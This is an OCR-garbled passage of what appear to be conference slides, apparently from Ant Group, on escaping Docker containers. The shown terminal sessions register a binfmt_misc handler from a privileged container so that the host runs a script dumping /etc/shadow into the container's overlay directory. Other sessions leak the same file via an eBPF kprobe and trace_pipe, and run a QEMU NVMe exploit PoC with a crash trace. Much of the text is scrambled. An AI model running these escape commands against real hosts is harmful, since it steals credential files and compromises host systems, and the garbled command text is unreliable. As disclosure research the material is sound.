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binfmt_misc#z 0
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root@xxx:/home/test#
root@xxx:/home/test#

:/home/test#
home/test#
home/test#
home/test#

touch test_fmt_intp
echo aaa > test_fmt

echo '#!/bin/sh' > test_fmt_intp
echo '' >> test_fmt_intp

echo 'echo test_fmt' >> test_fmt_intp
chmod +x test_fmt_intp

root@xxx:/home/test# echo ':test_fmt
> /proc/sys/fs/binfmt_misc/register
root@xxx:/home/test# cat /proc/sys/fs/binfmt_misc/test_fmt
enabled

interpreter /home/test/test_fmt_intp

flags:

offset @

magic 61616

X61\x61\x61: : /home/test/test_fmt_intp: "

root@xxx:/home/test# chmod +x test_fmt
root@xxx:/home/test# cat test_fmt

aaa

root@xxx: /home/test# ./test_fmt
test_fmt
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® [EfiF: /proc/sys/fs/binfmt misc/register
® ! /5: /proc/sys/fs/binfmt misc/<name>
® 5 [%: echo -1 > /proc/sys/fs/binfmt_misc/<name>

| :name | ‘type | | :offset | | ‘magic | | :mask | |:interpreter” flags |
M: magic ) »
E: extension gaa interrzeter path

| itest_fmt:M::\x61\x61\x61::/home/test/test fmt intp: |
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register binfmt_misc
offset: 0 #!/bin/bash
interpreter: /var/lib/xxx/diff/tmp/test.sh cat hadow > /var/liby iff/tmp/shad

__— Tvarllibldocker/overlay2/xocx/diff

Host
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~1440FX-PTIX-" 199 docker run -it --security-opt apparmor:unconfined [--cap-add=5YS_ADMIN ubuntu bash

root8@c3217f61c00: /# mmmt binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
rosocarrian
mp

ro0t@0c321761c00: /# cd

overlay on / type overlay (rw,relatime, lowerdir=/var/Lib/docker/overlay2/1/HRFHQE623JEWMXGUOSL3BGXIKS : /var/Lib/docker/overlay2/1/3KOBHEQAFGIQRGOSL
KLS26Q. ird/var/L 3327146051 def4118086a1d820033Fe8C3eb241a4b273479600647c2776edc/di Ff, workdir=/var/lib/docker/overlay2/c4
327" Gedc/work

root80c321761c00: /tmp# echo '#1/bin/bash’ > test.sh

rootB0C321761c00: /tmp# echo ' »» test.sh

r00t80C321761c00: /tmpk echo ' cat > i 146051defd1

hadow' >> test.sh
ro0t80c321761c00: /tmp# chmod +x test.sh
rootB0c321761c00: /tp# cat test.sh

#1/btnsbash step 1: container register new handler for '#/bin/sh'

cat /etc/shadow > /var/lib/docker/overlay2/c63327146051def4118086a1d820c P
rootBOC321761c00: /tmp# echo " itest:M:[:\xZ3\x21\x2F\x62\x69\x6e\xZF\x73\x68: | /var/1 7146051def41

difF/tmp, -sh:""> /proc/sy: 5
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root@test-Standard-PC-1440FX-PIIX-1996: /home/test# cat test_host.sh

o Step 2: host execute a matched file

root@test-Standard-PC-1440FX-PIIX-1996: /home/test# chmod +x test_host.sh
root@test-Standard-PC-1440FX-PIIX-1996: /home/test# ./test_host.sh
root@test-Standard-PC-1440FX-PIIX-1996: /home/test# ||

root@dc3217f61c00: /tmp# s
shadow test.sh
root@dc3217161c00: /tmp# cat shadow

m i:ww?ﬁ%ep 3: container get host file
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root@test-Standard-PC-i440FX-PTIX-1996: /home/test# docker run -it --security-opt apparmor:unconfined --cap-add=SYS_ADMIN ubuntu bash
rootecf4f7b7ddd3f: /# mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt misc
# mount -0 rw,remount /proc/sys
P

rootecf4f7b7ddd3f :/tmp# mount | grep upperdir
overlay on / type overlay (rw,relatine, lowerdir=/var/Li IPT4E: /var/1i /1/3KOBHEQ
AFGIQRGOSL3EKLSZ6HQ, /var/Lib/do: FbOOC7bed29/di f , workdir=/var

st
root@cf4f7b7ddd3f: /tmp# echo '#1/bin/bash’ > test.sh

FOOtECT4F7b7ddd3f 1/ tmp# echo *cat /etc/shadow > /var/1ib/docker/oy £b00c7bed2
9/diff/tmp/shadon’ >> test.sh 000000C0 00 00 00 00

root@cf4f7b7ddd3f: /tmp# cat test.sh
#1/bin/bash 00000000 DO 35 ¢0 00
0 00 10

000000
cat > /var/
root@cf4f7b7ddd3f : /tmp# chmod +x te h
rootecf4f7b7ddd3f: /tmpi# echo ':tes:/var
bed29/diff/tmp/test.sh: ' > /proc/sys/fs/binfmt_misc/register
rcot@cf4f7b7ddd3f /tmp# 15

rcot@cf4f7b7ddd3f Sempp s after host execute 'ls'
shadow test.sh

root@cf4f7b7ddd3f: /tmp# cat shadow
root:!: 16T ke
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memory buffer

cat /etc/shadoow

container

cat /sys/kernel/tracing/trace_pipd

TOOL:XXXXXX
daemon:xxx
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bpf_probe_read(buf, r13)
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mount ~t tracefs nodev /sy ng
echo 'rivfs_read vfs_read' >> /sys/kernel/tracing/kprobe_events
cat read/id

@

/loader

rootetest-Standard-PC- {440FX-PLIX-1996: /home/test/Linux-5. 11/ samples/bpf# docker exec -it cd20 bash

cat e_pipe
<..>-68027 [15] d... 17905.159637: bpf_trace_printk: text| root:!

docker run -it --security-opt apparmor:unconfined --cap-add=SYS_ADMIN -v /home/test:/test

terminal: create container
and load eBPF program

root@test-Standard-PC-1440FX-PIIX-1996:/home/test# ./poc
a = 0x556dc4d032a0

pid-asazy host: read /etc/shadow
ma;t]ifsmmm-x-i«omnn-msmwtem cat /etc/shadow
99999
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e Gaoning Pan, Xingwei LinfJscavenger |
. ® QEMU L #PoC: i
. https://github.com/hustdebug/scavenger 3
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root@test-Standard-PC-1440FX-P1IX-1996: ~/scavenger/exploit# docker run -it --security-opt apparmor:unconfined --cap-add=SYS
_ADMIN -v /home/test:/test ubuntu bash
root@2cb504dcdaf3: /# apt update -qq & apt install -qq gcc moke g+

Progran received signal SIGSEGV, Segmentation fault.
0x0000555555c93531 in object_unref (obj=0x7fd200000000) at gom/object.c:11:
1124 g_assert(obj->ref > 0);
Missing separate debuginfos, use: debuginfo-install glib2-2.56.1-4.alios7.;
-3.0.13-18.1.ali057.x86_64 Libgcc-4.8.5-4.1.alios7.x86_64 libmount-2.23.2-¢
root@367fdeS6cSe6: /test/scavenger/exploi th make 1057.x86_64 Tibuuide2,23.2-61.2.alios?, x86, 64 pcre-8.32-15.1.alios7.x86_64
9 e e et :Sgdb; :swssssss 93531 in object_unref (obj-0x7fd200000000) at qom/object
oo " 93531 in object_unref (obj=0x at qom/object .(
€c-g -C -0 common.o common.c #1 0x0000555555009ece in qemu_sglist_destroy (qsg=0x555557a5f8c0) at dma-|

root@cb5@4dcdaf3: /# apt update -qq && apt install -ga gcc make g++ -y

g++ -std=c++11 -g -g -0 exp exp.o common. o #2  0x0000555555a6919b in nvme_map_prp (qsg=0x555557a5f8c@, iov=0x555557a5
root@367fdeS6cSe6: /test/scavenger/exploit# ./exp ot hw/block/nvme. ¢:220

Segmentation fault (core dumped) #3 0x0000555555069bed in nvme_rw (n=0xS5555766190, ns=0x5555576fdf40, cm
root@367fde56c5e6: /test/scavenger/exploit# mount -o rw,remount /sys #4  0x0000555555a69e4a in nvme_io_cmd (n=0x5555576f6190, cmd=0x7fffffffdf4l
root@367fdeS6cSe6: /test/scavenger/exploits ~7exp #5 0x000055555506b526 in nvme_process_sq (opaque=0x55555717d5F0) at hw/ble

#6  0x0000555555ddb812 in timerlist_run_timers (timer_list=0x5555569b0c00)

#7 0x0000555555ddb8b3 in gemu_clock_run_timers (type=QEMU_CLOCK_VIRTUAL) ¢

#§  0x0000555555ddbb88 in gemu_clock_run_all_timers () at util/gemu-timer.(

#9  0x0000555555ddc339 in main_loop_wait (nonblocking=0) at util/main-loop

b & #10 0x0000555555974b45 in gemu_main_loop () at /nvme/pangpei.lq/devel/dock:
ANT GROUP #11 0x0000555555d7adbé in main (argc=19, argu=0x7ffffffelbs, envp=Bx7ffff

)
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